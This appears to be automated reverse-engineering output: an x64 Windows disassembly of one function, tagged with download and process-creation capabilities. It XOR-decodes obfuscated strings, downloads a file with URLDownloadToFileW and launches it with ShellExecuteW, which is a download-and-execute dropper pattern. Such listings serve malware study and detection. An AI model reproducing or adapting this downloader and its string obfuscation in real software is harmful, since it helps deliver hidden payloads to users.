Function at 0x140003c90
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x360
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x300], rax
movabs rax, 0x77b9b652312a512f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0xaadad508ebc3c387
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0xb1612da0271471ce
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0xb428a27352fc9edb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs rax, 0x827591d54da3d964
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x158cdf19dd567b09
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0xed0a9eb7687605ea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0x3b518295f5149d01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs rax, 0xc791888deb1b4fee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0xd713d59e7041da98
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movabs rax, 0x48022b80ae98c8a3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rax, 0xd5d41bd05a45e317
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
movabs rax, 0x6fea327d5bf20f3c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rax, 0x9638563c5c98fe9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
movabs rax, 0x4582dd14fec630f1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
movabs rax, 0xbd83c1c87e3ad27b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
movabs rax, 0x2a3f9325582a77b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
movabs rax, 0x74fd6f36f5c151c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xcd76752ae71e39dc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
movabs rax, 0x830c128dcba95b46
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
movabs r14, 0x77c9b626315e5147
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rsi, 0xaaf5d527ebf9c3f4
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs r12, 0xb1092dd4277d71a9
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rdi, 0xb44ba25d529e9eae
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs r13, 0x822591fa4dced90b
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs r10, 0x15e5df7bdd227b68
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs r11, 0xed799ed86814058d
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rbx, 0x3b2282f1f53b9d72
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
movabs rax, 0xc7f088feeb7f4f8f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0xd73cd5ff7032dafc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x48672becaefdc8d1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0xd5a71bb55a36e376
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rax, 0x6f9d32125b960f13
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x965956535cf4fef0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x45f1dd70fee93095
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0xbdf0c1a97e5ed21a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x2a109356584b77d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0x74996f57f5ae5184
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0xcd137504e76c39b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0x830c128dcbcc5b3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x220], ymm1
vmovdqu ymm0, ymmword [rbp + 0x240]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a0]
vmovdqa ymmword [rbp + 0x240], ymm1
vmovdqu ymm0, ymmword [rbp + 0x260]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c0]
vmovdqa ymmword [rbp + 0x260], ymm1
vmovdqu ymm0, ymmword [rbp + 0x280]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
vmovdqa ymmword [rbp + 0x280], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x200]
vmovdqa ymmword [rbp + 0x2a0], ymm1
movabs r9, 0x779eb67a31645104
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs r8, 0xaa9ad543eb97c39d
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rdx, 0xb15d2d88270e71de
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rcx, 0xb417a22d52f39ecb
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0x8241919b4da1d947
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x1580df55dd507b0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xed799ed8687105f5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0x2f0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2f8], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x2c0]
vmovdqa ymmword [rbp + 0x20], ymm1
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x2e0]
vmovdqa ymmword [rbp + 0x40], ymm1
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
movabs rax, 0x824191944da7d97c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
movabs rax, 0x15cbdf08dd557b07
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
movabs rax, 0xed799ebc687905ee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2f8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
vmovdqu ymm0, ymmword [rbp + 0x2c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x2c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a0]
vmovdqa ymmword [rbp + 0x2e0], ymm1
xor r15d, r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x220]
xor ecx, ecx
vzeroupper
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140004fbe
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x60]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x60]
call fcn.140005c70
nop
cmp qword [rbp + 0xe8], r15
je 0x140004eb9
movabs rax, 0x77a1b645313b5107
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0xaa93d548ebd9c39b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0xb1092dd4277771cf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqu ymmword [rbp + 0x180], ymm1
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x60]
vzeroupper
call fcn.1400069c0
movabs rax, 0x77a6b6493132517d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs rax, 0xaaf5d527ebf3c384
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x60]
call fcn.1400069c0
movabs rax, 0x77acb64b31375133
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0xaad5d553eb8cc39b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0xb13d2df427097186
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0xb424a23352b19e8e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs rax, 0x8244919f4dbcd969
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0x15abdf45dd027b03
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0xed799ed2685805d8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x15e5df7bdd227b68
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0xed799ed86814058d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0x180], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x240]
vmovdqa ymmword [rbp + 0x1a0], ymm1
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x60]
vzeroupper
call fcn.1400069c0
movabs rax, 0x77a2b655313f5133
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0xaa81d554eb90c398
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0xb1402d9227527189
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0xb406a21452bc9e8e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs rax, 0x826b91bf4d89d94a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0x15c5df3edd6f7b29
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0xed359ef8686505e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rax, 0x3b478295f55a9d1d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
movabs rax, 0xc788889beb514ffd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0xd70ed5df7010da99
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x482b2bb9aeb3c8ef
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0xd5c11b955a4ae356
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rax, 0x6fbd32765bf80f7a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x967656735cbdfedf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x45bddd52fec930db
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0xbd95c1cd7e3fd275
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x2a689333586577a5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0x74d76f69f58c51e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0xcd13750ee72039ec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rcx, 0x830c128dcbcc5b3e
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x15e5df7bdd227b68
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0xed799ed86814058d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs rax, 0xc7f088feeb7f4f8f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0xd73cd5ff7032dafc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movabs rax, 0x48672becaefdc8d1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rax, 0xd5a71bb55a36e376
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
movabs rax, 0x6f9d32125b960f13
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rax, 0x965956535cf4fef0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
movabs rax, 0x45f1dd70fee93095
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
movabs rax, 0xbdf0c1a97e5ed21a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
movabs rax, 0x2a109356584b77d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
movabs rax, 0x74996f57f5ae5184
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xcd137504e76c39b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0x180], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x240]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x260]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x280]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x200]
vpxor ymm1, ymm0, ymmword [rbp + 0x2a0]
vmovdqa ymmword [rbp + 0x200], ymm1
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x60]
vzeroupper
call fcn.1400069c0
movabs rax, 0x77ebb6063138512e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0xaaa7d575ebbcc3d1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0xb14c2d98272f71e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0xb46ea21152db9ef8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs rax, 0x820791c74df3d929
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x1582df5bdd007b58
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0xed599eb7686005e2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0x3b52829ef5549d1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs rax, 0xc7f088feeb7f4f85
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rcx, 0xd73cd5ff7032dafc
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0x15e5df7bdd227b68
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0xed799ed86814058d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
movabs rax, 0xc7f088feeb7f4f8f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x220], ymm1
vmovdqu ymm0, ymmword [rbp + 0x240]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a0]
vmovdqa ymmword [rbp + 0x240], ymm1
vmovdqa xmm0, xmmword [rbp + 0x260]
vxorps xmm0, xmm0, xmmword [rbp + 0x1c0]
vmovdqa xmmword [rbp + 0x260], xmm0
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x60]
vzeroupper
call fcn.1400069c0
movabs rdi, 0x77e9b64a313b5123
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x60]
call fcn.1400069c0
mov rcx, rax
lea rdx, [rbp + 0x20]
call fcn.1400069c0
mov r8, rax
movabs rbx, 0x77c9b626315e514d
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x220], rcx
mov qword [rbp], rsi
mov rcx, qword [rbp]
mov qword [rbp + 0x228], rcx
mov qword [rbp], r14
mov rcx, qword [rbp]
mov qword [rbp + 0x180], rcx
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movdqa xmm0, xmmword [rbp + 0x220]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x220], xmm0
lea rdx, [rbp + 0x220]
mov rcx, r8
call fcn.1400069c0
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movdqa xmm0, xmmword [rbp + 0x220]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x220], xmm0
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x60]
call fcn.1400069c0
mov rcx, rax
lea rdx, [rbp + 0x2c0]
call fcn.1400069c0
mov r8, rax
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x10], rcx
mov qword [rbp], rsi
mov rcx, qword [rbp]
mov qword [rbp + 0x18], rcx
mov qword [rbp], r14
mov rcx, qword [rbp]
mov qword [rbp + 0x180], rcx
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
mov rcx, r8
call fcn.1400069c0
lea rcx, [rbp + 0x68]
call fcn.140006180
test rax, rax
jne 0x140004eb9
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x60]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
movabs rbx, 0x77a7b643312e5128
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movdqa xmm0, xmmword [rbp + 0x220]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x220], xmm0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x220]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movdqa xmm0, xmmword [rbp + 0x220]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x220], xmm0
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x2c0]
lea rdx, [rbp + 0x220]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
lea rcx, [rbp + 0x60]
call fcn.1400050c0
jmp 0x140005085
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movdqa xmm0, xmmword [rbp + 0x220]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x220], xmm0
movabs rax, 0x77a6b654312c5102
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs rax, 0xaaf5d527ebf9c386
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x10], xmm0
mov r9d, 0x10
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, qword [rbp + 0x300]
xor rcx, rsp
call fcn.140008520
lea r11, [rsp + 0x360]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret